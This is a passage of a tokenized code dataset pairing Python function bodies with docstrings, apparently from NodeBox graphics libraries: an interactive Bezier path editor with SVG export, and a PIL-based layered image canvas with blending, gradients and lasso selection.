self.overlap(pt.x, pt.y, x, y)and not self.drag_handle1and not self.drag_handle2and not self.new != None:<EOL><INDENT>self.drag_point = True<EOL>self.drag_handle1 = False<EOL>self.drag_handle2 = False<EOL><DEDENT>if self.overlap(pt.ctrl1.x, pt.ctrl1.y, x, y)and pt.cmd == CURVETOand not self.drag_pointand not self.drag_handle2:<EOL><INDENT>self.drag_point = False<EOL>self.drag_handle1 = True<EOL>self.drag_handle2 = False<EOL><DEDENT>if self.overlap(pt.ctrl2.x, pt.ctrl2.y, x, y)and pt.cmd == CURVETOand not self.drag_pointand not self.drag_handle1:<EOL><INDENT>self.drag_point = False<EOL>self.drag_handle1 = False<EOL>self.drag_handle2 = True<EOL><DEDENT>if self.drag_point == True:<EOL><INDENT>dx = x - pt.x<EOL>dy = y - pt.y<EOL>pt.x = x<EOL>pt.y = y<EOL>pt.ctrl2.x += dx<EOL>pt.ctrl2.y += dy<EOL>if self.edit < len(self._points)-<NUM_LIT:1>:<EOL><INDENT>rx, ry = self.reflect(pt.x, pt.y, x, y)<EOL>next = self._points[self.edit+<NUM_LIT:1>]<EOL>next.ctrl1.x += dx<EOL>next.ctrl1.y += dy<EOL><DEDENT><DEDENT>if self.drag_handle1 == True:<EOL><INDENT>pt.ctrl1 = Point(x, y)<EOL>if self.edit > <NUM_LIT:0>and self.last_key != \"<STR_LIT:x>\":<EOL><INDENT>prev = self._points[self.edit-<NUM_LIT:1>]<EOL>d = self.distance(prev.x, prev.y, prev.ctrl2.x, prev.ctrl2.y)<EOL>a = self.angle(prev.x, prev.y, pt.ctrl1.x, pt.ctrl1.y)<EOL>prev.ctrl2 = self.coordinates(prev.x, prev.y, d, a+<NUM_LIT>)                        <EOL><DEDENT><DEDENT>if self.drag_handle2 == True:   <EOL><INDENT>pt.ctrl2 = Point(x, y)<EOL>if self.edit < len(self._points)-<NUM_LIT:1>and self.last_key != \"<STR_LIT:x>\":<EOL><INDENT>next = self._points[self.edit+<NUM_LIT:1>]<EOL>d = self.distance(pt.x, pt.y, next.ctrl1.x, next.ctrl1.y)<EOL>a = self.angle(pt.x, pt.y, pt.ctrl2.x, pt.ctrl2.y)<EOL>next.ctrl1 = self.coordinates(pt.x, pt.y, d, a+<NUM_LIT>)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif not self.freehand:<EOL><INDENT>self.new = None<EOL>self.drag_point = False<EOL>self.drag_handle1 = False<EOL>self.drag_handle2 = False<EOL>if self.delete != None and len(self._points) > <NUM_LIT:0>:<EOL><INDENT>i = self.delete<EOL>cmd = self._points[i].cmd<EOL>del self._points[i]<EOL>if <NUM_LIT:0> < i < len(self._points):<EOL><INDENT>prev = self._points[i-<NUM_LIT:1>]<EOL>rx, ry = self.reflect(prev.x, prev.y, prev.ctrl2.x, prev.ctrl2.y)<EOL>self._points[i].ctrl1 = Point(rx, ry)<EOL><DEDENT>start_i = i<EOL>while i > <NUM_LIT:1>:<EOL><INDENT>i -= <NUM_LIT:1><EOL>pt = self._points[i]<EOL>if pt.freehand:<EOL><INDENT>del self._points[i]<EOL><DEDENT>elif i < start_i-<NUM_LIT:1> and pt.freehand == False:<EOL><INDENT>if pt.cmd == MOVETO:<EOL><INDENT>del self._points[i]<EOL><DEDENT>break<EOL><DEDENT><DEDENT>if len(self._points) > <NUM_LIT:0>and (cmd == MOVETO or i == <NUM_LIT:0>):<EOL><INDENT>self.last_moveto = self._points[<NUM_LIT:0>]<EOL>for pt in self._points:<EOL><INDENT>if pt.cmd == MOVETO:<EOL><INDENT>self.last_moveto = pt<EOL><DEDENT><DEDENT><DEDENT>self.delete = None<EOL>self.edit = None<EOL><DEDENT>elif isinstance(self.moveto, int):<EOL><INDENT>self.moveto = True<EOL>self.edit = None<EOL><DEDENT>elif self.edit == Noneand self.contains_point(x, y, d=<NUM_LIT:2>):<EOL><INDENT>self.insert = True<EOL><DEDENT>else:<EOL><INDENT>self.insert = False<EOL><DEDENT>if self.insertingand self.contains_point(x, y, d=<NUM_LIT:2>): <EOL><INDENT>self.insert_point(x, y)<EOL>self.insert = False<EOL><DEDENT>self.inserting = False<EOL>if self._dirty == True:<EOL><INDENT>self.export_svg()<EOL>self._dirty = False<EOL><DEDENT><DEDENT>if _ctx._ns[\"<STR_LIT>\"]:<EOL><INDENT>self.last_key = _ctx._ns[\"<STR_LIT:key>\"]<EOL>self.last_keycode = _ctx._ns[\"<STR_LIT>\"]<EOL><DEDENT>if not _ctx._ns[\"<STR_LIT>\"] and self.last_key != None:<EOL><INDENT>if self.last_keycode == KEY_TAB:<EOL><INDENT>self.show_grid = not self.show_grid<EOL><DEDENT>if self.last_key == \"<STR_LIT:f>\":<EOL><INDENT>self.edit = None<EOL>self.freehand = not self.freehand<EOL>if self.freehand:<EOL><INDENT>self.msg = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>self.msg = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>if self.last_keycode == KEY_ESC:<EOL><INDENT>self.edit = None<EOL><DEDENT>if self.last_keycode == _ctx.KEY_BACKSPACEand self.edit != None:<EOL><INDENT>self.delete = self.edit<EOL><DEDENT>self.last_key = None<EOL>self.last_code = None<EOL><DEDENT>if _ctx._ns[\"<STR_LIT>\"]:<EOL><INDENT>dx = <NUM_LIT:0><EOL>dy = <NUM_LIT:0><EOL>keycode = _ctx._ns[\"<STR_LIT>\"]<EOL>if keycode == _ctx.KEY_LEFT:<EOL><INDENT>dx = -<NUM_LIT:10><EOL><DEDENT>elif keycode == _ctx.KEY_RIGHT:<EOL><INDENT>dx = <NUM_LIT:10><EOL><DEDENT>if keycode == _ctx.KEY_UP:<EOL><INDENT>dy = -<NUM_LIT:10><EOL><DEDENT>elif keycode == _ctx.KEY_DOWN:<EOL><INDENT>dy = <NUM_LIT:10><EOL><DEDENT>if dx != <NUM_LIT:0> or dy != <NUM_LIT:0>:<EOL><INDENT>for pt in self._points:<EOL><INDENT>pt.x += dx<EOL>pt.y += dy<EOL>pt.ctrl1.x += dx<EOL>pt.ctrl1.y += dy<EOL>pt.ctrl2.x += dx<EOL>pt.ctrl2.y += dy<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Update runs each frame to check for mouse interaction.\n\n        Alters the path by allowing the user to add new points,\n        drag point handles and move their location.\n        Updates are automatically stored as SVG\n        in the given filename.", "id": "f11549:c1:m8"}
{"signature": "def draw(self):", "body": "<EOL>self.update()<EOL>x, y = mouse()<EOL>if self.show_grid:<EOL><INDENT>self.grid.draw()<EOL>x, y = self.grid.snap(x, y)<EOL><DEDENT>_ctx.strokewidth(self.strokewidth)<EOL>if self.freehand:<EOL><INDENT>self.draw_freehand()<EOL><DEDENT>r = <NUM_LIT:4><EOL>_ctx.nofill()<EOL>if len(self._points) > <NUM_LIT:0>:<EOL><INDENT>first = True            <EOL>for i in range(len(self._points)):<EOL><INDENT>pt = self._points[i]<EOL>if first:<EOL><INDENT>_ctx.beginpath(pt.x, pt.y)<EOL>first = False<EOL><DEDENT>else:<EOL><INDENT>if pt.cmd == CLOSE:<EOL><INDENT>_ctx.closepath()<EOL><DEDENT>elif pt.cmd == MOVETO:<EOL><INDENT>_ctx.moveto(pt.x, pt.y)<EOL><DEDENT>elif pt.cmd == LINETO:<EOL><INDENT>_ctx.lineto(pt.x, pt.y)<EOL><DEDENT>elif pt.cmd == CURVETO:<EOL><INDENT>_ctx.curveto(pt.ctrl1.x, pt.ctrl1.y, <EOL>pt.ctrl2.x, pt.ctrl2.y, <EOL>pt.x, pt.y)<EOL><DEDENT><DEDENT>if ((i == self.edit and self.new == None)or pt == self.new)and pt.cmd == CURVETOand not pt.freehand:<EOL><INDENT>_ctx.stroke(self.handle_color)<EOL>_ctx.nofill()<EOL>_ctx.oval(pt.x-r, pt.y-r, r*<NUM_LIT:2>, r*<NUM_LIT:2>)<EOL>_ctx.stroke(self.handle_color)<EOL>_ctx.line(pt.ctrl2.x, pt.ctrl2.y, pt.x, pt.y)<EOL>_ctx.fill(self.handle_color)<EOL><DEDENT>if pt == self.newand not pt.freehand:<EOL><INDENT>rx, ry = self.reflect(pt.x, pt.y, pt.ctrl2.x, pt.ctrl2.y)<EOL>_ctx.stroke(self.handle_color)<EOL>_ctx.line(rx, ry, pt.x, pt.y)<EOL>_ctx.nostroke()<EOL>_ctx.fill(self.handle_color)<EOL>_ctx.oval(rx-r/<NUM_LIT:2>, ry-r/<NUM_LIT:2>, r, r)<EOL><DEDENT>if i == self.editand self.new == Noneand pt.cmd == CURVETOand not pt.freehand:<EOL><INDENT>_ctx.oval(pt.ctrl2.x-r/<NUM_LIT:2>, pt.ctrl2.y-r/<NUM_LIT:2>, r, r)<EOL>if i > <NUM_LIT:0>:<EOL><INDENT>prev = self._points[i-<NUM_LIT:1>]<EOL>_ctx.line(pt.ctrl1.x, pt.ctrl1.y, prev.x, prev.y)<EOL>_ctx.oval(pt.ctrl1.x-r/<NUM_LIT:2>, pt.ctrl1.y-r/<NUM_LIT:2>, r, r)<EOL><DEDENT>if i > <NUM_LIT:0> and self._points[i-<NUM_LIT:1>].cmd != MOVETO:<EOL><INDENT>_ctx.line(prev.ctrl2.x, prev.ctrl2.y, prev.x, prev.y)<EOL><DEDENT>if i < len(self._points)-<NUM_LIT:1>:<EOL><INDENT>next = self._points[i+<NUM_LIT:1>]<EOL>if next.cmd == CURVETO:<EOL><INDENT>_ctx.line(next.ctrl1.x, next.ctrl1.y, pt.x, pt.y)<EOL><DEDENT><DEDENT><DEDENT>elif self.overlap(x, y, pt.x, pt.y)and not pt.freehand:<EOL><INDENT>self.insert = False <EOL>_ctx.nofill()<EOL>_ctx.stroke(self.handle_color)<EOL>_ctx.oval(pt.x-r, pt.y-r, r*<NUM_LIT:2>, r*<NUM_LIT:2>)<EOL><DEDENT>_ctx.fontsize(<NUM_LIT:9>)<EOL>_ctx.fill(self.handle_color)<EOL>txt = \"<STR_LIT>\"+str(int(pt.x))+\"<STR_LIT:U+002CU+0020>\"+str(int(pt.y))+\"<STR_LIT:)>\"<EOL>if (i == self.edit and self.new == None)or pt == self.newand not pt.freehand:<EOL><INDENT>_ctx.text(txt, pt.x+r, pt.y+<NUM_LIT:2>)                                       <EOL><DEDENT>elif self.overlap(x, y, pt.x, pt.y)and not pt.freehand:<EOL><INDENT>_ctx.text(txt, pt.x+r, pt.y+<NUM_LIT:2>)<EOL><DEDENT>if not pt.freehand:<EOL><INDENT>if pt.cmd != MOVETO:<EOL><INDENT>_ctx.fill(self.path_color)<EOL>_ctx.nostroke()<EOL><DEDENT>else:<EOL><INDENT>_ctx.stroke(self.path_color)<EOL>_ctx.nofill()<EOL><DEDENT>_ctx.oval(pt.x-r/<NUM_LIT:2>, pt.y-r/<NUM_LIT:2>, r, r)<EOL><DEDENT><DEDENT>_ctx.stroke(self.path_color)<EOL>_ctx.fill(self.path_fill)<EOL>_ctx.autoclosepath(False)    <EOL>p = _ctx.endpath()<EOL>self.path = p<EOL>if self.insert:<EOL><INDENT>_ctx.stroke(self.handle_color)<EOL>_ctx.nofill()<EOL>_ctx.oval(x-r*<NUM_LIT>, y-r*<NUM_LIT>, r*<NUM_LIT>, r*<NUM_LIT>)<EOL><DEDENT>if self.edit == Noneand self.new == Noneand self.moveto != Trueand not self.freehand:<EOL><INDENT>_ctx.nofill()<EOL>_ctx.stroke(self.new_color)<EOL>rx, ry = self.reflect(pt.x, pt.y, pt.ctrl2.x, pt.ctrl2.y)<EOL>_ctx.beginpath(pt.x, pt.y)<EOL>_ctx.curveto(rx, ry, x, y, x, y)<EOL>_ctx.endpath()<EOL>if self.last_moveto != None:<EOL><INDENT>start = self.last_moveto<EOL><DEDENT>else:<EOL><INDENT>start = self._points[<NUM_LIT:0>]<EOL><DEDENT>p = _ctx.line(x, y, start.x, start.y, draw=False)<EOL>try: p._nsBezierPath.setLineDash_count_phase_([<NUM_LIT:2>,<NUM_LIT:4>], <NUM_LIT:2>, <NUM_LIT:50>)<EOL>except:<EOL><INDENT>pass<EOL><DEDENT>_ctx.drawpath(p)<EOL><DEDENT>elif self.edit == Noneand self.new == Noneand self.moveto != None:<EOL><INDENT>_ctx.stroke(self.new_color)<EOL>_ctx.nofill()<EOL>_ctx.oval(x-r*<NUM_LIT>, y-r*<NUM_LIT>, r*<NUM_LIT>, r*<NUM_LIT>)<EOL><DEDENT>if self.edit != None:<EOL><INDENT>pt = self._points[self.edit]<EOL>x = pt.x + self.btn_x<EOL>y = pt.y + self.btn_y<EOL>r = self.btn_r<EOL>_ctx.nostroke()<EOL>_ctx.fill(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT>)<EOL>_ctx.fill(self.handle_color)<EOL>_ctx.oval(x-r, y-r, r*<NUM_LIT:2>, r*<NUM_LIT:2>)<EOL>_ctx.fill(<NUM_LIT:1>)<EOL>_ctx.rotate(<NUM_LIT>)<EOL>_ctx.rect(x-r+<NUM_LIT:2>, y-<NUM_LIT>, r+<NUM_LIT:1>, <NUM_LIT>)<EOL>_ctx.rotate(-<NUM_LIT>)<EOL>_ctx.rect(x-r+<NUM_LIT:2>, y-<NUM_LIT>, r+<NUM_LIT:1>, <NUM_LIT>)<EOL>_ctx.reset()<EOL>if self.edit == len(self._points)-<NUM_LIT:1>:<EOL><INDENT>_ctx.fill(self.handle_color)<EOL>_ctx.oval(x+r*<NUM_LIT:2>+<NUM_LIT:2>-r, y-r, r*<NUM_LIT:2>, r*<NUM_LIT:2>)<EOL>_ctx.fill(<NUM_LIT:1>)<EOL>_ctx.rect(x+r*<NUM_LIT:2>+<NUM_LIT:2>-<NUM_LIT>, y-r+<NUM_LIT:3>, <NUM_LIT>, r-<NUM_LIT:1>)<EOL>_ctx.rect(x+r*<NUM_LIT:2>+<NUM_LIT:2>+<NUM_LIT>, y-r+<NUM_LIT:3>, <NUM_LIT>, r-<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>if self.msg != \"<STR_LIT>\":<EOL><INDENT>self.msg_alpha -= <NUM_LIT:0.1><EOL>_ctx.nostroke()<EOL>_ctx.fill(<NUM_LIT:0>,<NUM_LIT:0>,<NUM_LIT:0>, self.msg_alpha)<EOL>_ctx.fontsize(<NUM_LIT>)<EOL>_ctx.lineheight(<NUM_LIT:1>)<EOL>w = _ctx.textwidth(self.msg)<EOL>_ctx.rect(_ctx.WIDTH/<NUM_LIT:2>-w/<NUM_LIT:2>-<NUM_LIT:9>, _ctx.HEIGHT/<NUM_LIT:2>-<NUM_LIT>, w+<NUM_LIT>, <NUM_LIT>, roundness=<NUM_LIT>)<EOL>_ctx.fill(<NUM_LIT:1>,<NUM_LIT:1>,<NUM_LIT:1>, <NUM_LIT>)<EOL>_ctx.align(CENTER) <EOL>_ctx.text(self.msg, <NUM_LIT:0>, _ctx.HEIGHT/<NUM_LIT:2>, width=_ctx.WIDTH)<EOL><DEDENT>if self.msg_alpha <= <NUM_LIT:0.0>:<EOL><INDENT>self.msg = \"<STR_LIT>\"<EOL>self.msg_alpha = <NUM_LIT:1.0><EOL><DEDENT>", "docstring": "Draws the editable path and interface elements.", "id": "f11549:c1:m9"}
{"signature": "def draw_freehand(self):", "body": "if _ctx._ns[\"<STR_LIT>\"]:<EOL><INDENT>x, y = mouse()<EOL>if self.show_grid:<EOL><INDENT>x, y = self.grid.snap(x, y)<EOL><DEDENT>if self.freehand_move == True:<EOL><INDENT>cmd = MOVETO<EOL>self.freehand_move = False<EOL><DEDENT>else:<EOL><INDENT>cmd = LINETO<EOL><DEDENT>pt = PathElement()<EOL>if cmd != MOVETO:<EOL><INDENT>pt.freehand = True <EOL><DEDENT>else:<EOL><INDENT>pt.freehand = False<EOL><DEDENT>pt.cmd = cmd<EOL>pt.x = x<EOL>pt.y = y<EOL>pt.ctrl1 = Point(x,y)<EOL>pt.ctrl2 = Point(x,y)<EOL>self._points.append(pt)<EOL>r = <NUM_LIT:4><EOL>_ctx.nofill()<EOL>_ctx.stroke(self.handle_color)<EOL>_ctx.oval(pt.x-r, pt.y-r, r*<NUM_LIT:2>, r*<NUM_LIT:2>)<EOL>_ctx.fontsize(<NUM_LIT:9>)<EOL>_ctx.fill(self.handle_color)<EOL>_ctx.text(\"<STR_LIT>\"+str(int(pt.x))+\"<STR_LIT:U+002CU+0020>\"+str(int(pt.y))+\"<STR_LIT:)>\", pt.x+r, pt.y)<EOL>self._dirty = True<EOL><DEDENT>else:<EOL><INDENT>self.freehand_move = True<EOL>if self._dirty:<EOL><INDENT>self._points[-<NUM_LIT:1>].freehand = False<EOL>self.export_svg()<EOL>self._dirty = False<EOL><DEDENT><DEDENT>", "docstring": "Freehand sketching.", "id": "f11549:c1:m10"}
{"signature": "def export_svg(self):", "body": "d = \"<STR_LIT>\"<EOL>if len(self._points) > <NUM_LIT:0>:<EOL><INDENT>d += \"<STR_LIT>\"+str(self._points[<NUM_LIT:0>].x)+\"<STR_LIT:U+0020>\"+str(self._points[<NUM_LIT:0>].y)+\"<STR_LIT:U+0020>\"<EOL>for pt in self._points:<EOL><INDENT>if pt.cmd == MOVETO:<EOL><INDENT>d += \"<STR_LIT>\"+str(pt.x)+\"<STR_LIT:U+0020>\"+str(pt.y)+\"<STR_LIT:U+0020>\"<EOL><DEDENT>elif pt.cmd == LINETO:<EOL><INDENT>d += \"<STR_LIT>\"+str(pt.x)+\"<STR_LIT:U+0020>\"+str(pt.y)+\"<STR_LIT:U+0020>\"<EOL><DEDENT>elif pt.cmd == CURVETO:<EOL><INDENT>d += \"<STR_LIT>\"<EOL>d += str(pt.ctrl1.x)+\"<STR_LIT:U+0020>\"+str(pt.ctrl1.y)+\"<STR_LIT:U+0020>\"<EOL>d += str(pt.ctrl2.x)+\"<STR_LIT:U+0020>\"+str(pt.ctrl2.y)+\"<STR_LIT:U+0020>\"<EOL>d += str(pt.x)+\"<STR_LIT:U+0020>\"+str(pt.y)+\"<STR_LIT:U+0020>\"<EOL><DEDENT><DEDENT><DEDENT>c = \"<STR_LIT>\"<EOL>c += str(int(self.path_color.r*<NUM_LIT:255>)) + \"<STR_LIT:U+002C>\"<EOL>c += str(int(self.path_color.g*<NUM_LIT:255>)) + \"<STR_LIT:U+002C>\"<EOL>c += str(int(self.path_color.b*<NUM_LIT:255>)) + \"<STR_LIT:)>\"<EOL>s  = '<STR_LIT>'<EOL>s += '<STR_LIT>'+str(_ctx.WIDTH)+'<STR_LIT>'+str(_ctx.HEIGHT)+'<STR_LIT>'<EOL>s += '<STR_LIT>'<EOL>s += '<STR_LIT>'+d+'<STR_LIT>'+c+'<STR_LIT>'+str(self.strokewidth)+'<STR_LIT>'<EOL>s += '<STR_LIT>'<EOL>s += '<STR_LIT>'<EOL>f = open(self.file+\"<STR_LIT>\", \"<STR_LIT:w>\")<EOL>f.write(s)<EOL>f.close()<EOL>", "docstring": "Exports the path as SVG.\n\n        Uses the filename given when creating this object.\n        The file is automatically updated to reflect\n        changes to the path.", "id": "f11549:c1:m11"}
{"signature": "def __init__(self, w, h):", "body": "self.interpolation = BILINEAR<EOL>self.layers = Layers()<EOL>self.w = w<EOL>self.h = h<EOL>img = Image.new(\"<STR_LIT>\", (w,h), (<NUM_LIT:255>,<NUM_LIT:255>,<NUM_LIT:255>,<NUM_LIT:0>))<EOL>self.layer(img, name=\"<STR_LIT>\")<EOL>", "docstring": "Creates a new canvas.\n\n        Creates the working area on which to blend layers.\n        The canvas background is transparent,\n        but a background color could be set using the fill() function.", "id": "f11554:c0:m0"}
{"signature": "def layer(self, img, x=<NUM_LIT:0>, y=<NUM_LIT:0>, name=\"<STR_LIT>\"):", "body": "from types import StringType<EOL>if isinstance(img, Image.Image):<EOL><INDENT>img = img.convert(\"<STR_LIT>\")<EOL>self.layers.append(Layer(self, img, x, y, name))<EOL>return len(self.layers)-<NUM_LIT:1><EOL><DEDENT>if isinstance(img, Layer):<EOL><INDENT>img.canvas = self<EOL>self.layers.append(img)<EOL>return len(self.layers)-<NUM_LIT:1>                 <EOL><DEDENT>if type(img) == StringType: <EOL><INDENT>img = Image.open(img)<EOL>img = img.convert(\"<STR_LIT>\")<EOL>self.layers.append(Layer(self, img, x, y, name))<EOL>return len(self.layers)-<NUM_LIT:1><EOL><DEDENT>", "docstring": "Creates a new layer from file, Layer, PIL Image.\n\n        If img is an image file or PIL Image object,\n        Creates a new layer with the given image file.\n        The image is positioned on the canvas at x, y.\n\n        If img is a Layer,\n        uses that layer's x and y position and name.", "id": "f11554:c0:m1"}
{"signature": "def fill(self, rgb, x=<NUM_LIT:0>, y=<NUM_LIT:0>, w=None, h=None, name=\"<STR_LIT>\"):", "body": "if w == None: w = self.w - x<EOL>if h == None: h = self.h - y<EOL>img = Image.new(\"<STR_LIT>\", (w,h), rgb)<EOL>self.layer(img, x, y, name)<EOL>", "docstring": "Creates a new fill layer.\n\n        Creates a new layer filled with the given rgb color.\n        For example, fill((255,0,0)) creates a red fill.\n        The layers fills the entire canvas by default.", "id": "f11554:c0:m2"}
{"signature": "def gradient(self, style=LINEAR, w=<NUM_LIT:1.0>, h=<NUM_LIT:1.0>, name=\"<STR_LIT>\"):", "body": "from types import FloatType<EOL>w0 = self.w <EOL>h0 = self.h<EOL>if type(w) == FloatType: w *= w0<EOL>if type(h) == FloatType: h *= h0<EOL>img = Image.new(\"<STR_LIT:L>\", (int(w),int(h)), <NUM_LIT:255>)<EOL>draw = ImageDraw.Draw(img)<EOL>if style == LINEAR:<EOL><INDENT>for i in range(int(w)):<EOL><INDENT>k = <NUM_LIT> * i/w<EOL>draw.rectangle((i, <NUM_LIT:0>, i, h), fill=int(k))<EOL><DEDENT><DEDENT>if style == RADIAL:<EOL><INDENT>r = min(w,h)/<NUM_LIT:2><EOL>for i in range(int(r)):<EOL><INDENT>k = <NUM_LIT:255> - <NUM_LIT> * i/r<EOL>draw.ellipse((w/<NUM_LIT:2>-r+i, h/<NUM_LIT:2>-r+i, w/<NUM_LIT:2>+r-i, h/<NUM_LIT:2>+r-i), fill=int(k))<EOL><DEDENT><DEDENT>if style == DIAMOND:<EOL><INDENT>r = max(w,h)<EOL>for i in range(int(r)):<EOL><INDENT>x = int(i*w/r*<NUM_LIT:0.5>)<EOL>y = int(i*h/r*<NUM_LIT:0.5>)<EOL>k = <NUM_LIT> * i/r<EOL>draw.rectangle((x, y, w-x, h-y), outline=int(k))<EOL><DEDENT><DEDENT>img = img.convert(\"<STR_LIT>\")<EOL>self.layer(img, <NUM_LIT:0>, <NUM_LIT:0>, name=\"<STR_LIT>\")<EOL>", "docstring": "Creates a gradient layer.\n\n        Creates a gradient layer, that is usually used\n        together with the mask() function.\n\n        All the image functions work on gradients,\n        so they can easily be flipped, rotated, scaled, inverted,\n        made brighter or darker, ...\n\n        Styles for gradients are LINEAR, RADIAL and DIAMOND.", "id": "f11554:c0:m3"}
{"signature": "def merge(self, layers):", "body": "layers.sort()<EOL>if layers[<NUM_LIT:0>] == <NUM_LIT:0>: del layers[<NUM_LIT:0>]<EOL>self.flatten(layers)<EOL>", "docstring": "Flattens the given layers on the canvas.\n\n        Merges the given layers with the indices in the list\n        on the bottom layer in the list.\n        The other layers are discarded.", "id": "f11554:c0:m4"}
{"signature": "def flatten(self, layers=[]):", "body": "<EOL>if layers == []: <EOL><INDENT>layers = range(<NUM_LIT:1>, len(self.layers))<EOL><DEDENT>background = self.layers._get_bg()<EOL>background.name = \"<STR_LIT>\"<EOL>for i in layers:<EOL><INDENT>layer = self.layers[i]<EOL>x = max(<NUM_LIT:0>, layer.x)<EOL>y = max(<NUM_LIT:0>, layer.y)<EOL>w = min(background.w, layer.x+layer.w)<EOL>h = min(background.h, layer.y+layer.h)<EOL>base = background.img.crop((x, y, w, h))<EOL>x = max(<NUM_LIT:0>, -layer.x)<EOL>y = max(<NUM_LIT:0>, -layer.y)<EOL>w -= layer.x<EOL>h -= layer.y<EOL>blend = layer.img.crop((x, y, w, h))<EOL>if layer.blend == NORMAL:<EOL><INDENT>buffer = blend<EOL><DEDENT>if layer.blend == MULTIPLY:<EOL><INDENT>buffer = ImageChops.multiply(base, blend)<EOL><DEDENT>if layer.blend == SCREEN:<EOL><INDENT>buffer = ImageChops.screen(base, blend)<EOL><DEDENT>if layer.blend == OVERLAY:<EOL><INDENT>buffer = Blend().overlay(base, blend)<EOL><DEDENT>if layer.blend == HUE:<EOL><INDENT>buffer = Blend().hue(base, blend)<EOL><DEDENT>if layer.blend == COLOR:<EOL><INDENT>buffer = Blend().color(base, blend)<EOL><DEDENT>alpha = buffer.split()[<NUM_LIT:3>]<EOL>if i == <NUM_LIT:1>:<EOL><INDENT>buffer = Image.composite(base, buffer, base.split()[<NUM_LIT:3>])<EOL><DEDENT>else:<EOL><INDENT>buffer = Image.composite(buffer, base, alpha)<EOL><DEDENT>alpha = ImageChops.lighter(alpha, base.split()[<NUM_LIT:3>])<EOL>buffer.putalpha(alpha)<EOL>base = Image.blend(base, buffer, layer.alpha)<EOL>x = max(<NUM_LIT:0>, layer.x)<EOL>y = max(<NUM_LIT:0>, layer.y)<EOL>background.img.paste(base, (x,y))<EOL><DEDENT>layers.reverse()<EOL>for i in layers: del self.layers[i]<EOL>img = Image.new(\"<STR_LIT>\", (self.w,self.h), (<NUM_LIT:255>,<NUM_LIT:255>,<NUM_LIT:255>,<NUM_LIT:0>))<EOL>self.layers._set_bg(Layer(self, img, <NUM_LIT:0>, <NUM_LIT:0>, name=\"<STR_LIT>\"))<EOL>if len(self.layers) == <NUM_LIT:1>:<EOL><INDENT>self.layers.append(background)<EOL><DEDENT>else:<EOL><INDENT>self.layers.insert(layers[-<NUM_LIT:1>], background)<EOL><DEDENT>", "docstring": "Flattens all layers according to their blend modes.\n\n        Merges all layers to the canvas,\n        using the blend mode and opacity defined for each layer.\n        Once flattened, the stack of layers is emptied except\n        for the transparent background (bottom layer).", "id": "f11554:c0:m5"}
{"signature": "def export(self, filename):", "body": "self.flatten()<EOL>self.layers[<NUM_LIT:1>].img.save(filename)<EOL>return filename<EOL>", "docstring": "Exports the flattened canvas.\n\n        Flattens the canvas.\n        PNG retains the alpha channel information.\n        Other possibilities are JPEG and GIF.", "id": "f11554:c0:m6"}
{"signature": "def draw(self, x, y):", "body": "try:<EOL><INDENT>from time import time<EOL>import md5<EOL>from os import unlink<EOL>m = md5.new()<EOL>m.update(str(time()))<EOL>filename = \"<STR_LIT>\" + str(m.hexdigest()) + \"<STR_LIT>\"<EOL>self.export(filename)<EOL>_ctx.image(filename, x, y)<EOL>unlink(filename)<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Places the flattened canvas in NodeBox.\n\n        Exports to a temporary PNG file.\n        Draws the PNG in NodeBox using the image() command.\n        Removes the temporary file.", "id": "f11554:c0:m7"}
{"signature": "def preferences(interpolation=BILINEAR):", "body": "self. interpolation = interpolation<EOL>", "docstring": "Settings that influence image manipulation.\n\n        Currently, only defines the image interpolation,\n        which can be set to NEAREST, BICUBIC or BILINEAR.", "id": "f11554:c0:m8"}
{"signature": "def index(self):", "body": "for i in range(len(self.canvas.layers)):<EOL><INDENT>if self.canvas.layers[i] == self: break<EOL><DEDENT>if self.canvas.layers[i] == self: <EOL><INDENT>return i<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Returns this layer's index in the canvas.layers[].\n\n        Searches the position of this layer in the canvas'\n        layers list, return None when not found.", "id": "f11554:c2:m1"}
{"signature": "def copy(self):", "body": "layer = Layer(None, self.img.copy(), self.x, self.y, self.name)<EOL>layer.w = self.w<EOL>layer.h = self.h<EOL>layer.alpha = self.alpha<EOL>layer.blend = self.blend<EOL>return layer<EOL>", "docstring": "Returns a copy of the layer.\n\n        This is different from the duplicate() method,\n        which duplicates the layer as a new layer on the canvas.\n        The copy() method returns a copy of the layer\n        that can be added to a different canvas.", "id": "f11554:c2:m2"}
{"signature": "def delete(self):", "body": "i = self.index()<EOL>if i != None: del self.canvas.layers[i]<EOL>", "docstring": "Removes this layer from the canvas.", "id": "f11554:c2:m3"}
{"signature": "def up(self):", "body": "i = self.index()<EOL>if i != None:<EOL><INDENT>del self.canvas.layers[i]<EOL>i = min(len(self.canvas.layers), i+<NUM_LIT:1>)<EOL>self.canvas.layers.insert(i, self)<EOL><DEDENT>", "docstring": "Moves the layer up in the stacking order.", "id": "f11554:c2:m4"}
{"signature": "def down(self):", "body": "i = self.index()<EOL>if i != None:<EOL><INDENT>del self.canvas.layers[i]<EOL>i = max(<NUM_LIT:0>, i-<NUM_LIT:1>)<EOL>self.canvas.layers.insert(i, self)<EOL><DEDENT>", "docstring": "Moves the layer down in the stacking order.", "id": "f11554:c2:m5"}
{"signature": "def bounds(self):", "body": "return self.img.size<EOL>", "docstring": "Returns the size of the layer.\n\n        This is the width and height of the bounding box,\n        the invisible rectangle around the layer.", "id": "f11554:c2:m6"}
{"signature": "def select(self, path, feather=True):", "body": "w, h = self.img.size<EOL>mask = Image.new(\"<STR_LIT:L>\", (w,h), <NUM_LIT:0>)<EOL>draw = ImageDraw.Draw(mask)<EOL>draw = ImageDraw.Draw(mask)<EOL>draw.polygon(path, fill=<NUM_LIT:255>)<EOL>if feather:<EOL><INDENT>mask = mask.filter(ImageFilter.SMOOTH_MORE)<EOL>mask = mask.filter(ImageFilter.SMOOTH_MORE)<EOL><DEDENT>mask = ImageChops.darker(mask, self.img.split()[<NUM_LIT:3>])<EOL>self.img.putalpha(mask)<EOL>", "docstring": "Applies the polygonal lasso tool on a layer.\n\n        The path paramater is a list of points,\n        either [x1, y1, x2, y2, x3, y3, ...]\n        or [(x1,y1), (x2,y2), (x3,y3), ...]\n\n        The parts of the layer that fall outside\n        this polygonal area are cut.\n\n        The selection is not anti-aliased,\n        but the feather parameter creates soft edges.", "id": "f11554:c2:m7"}
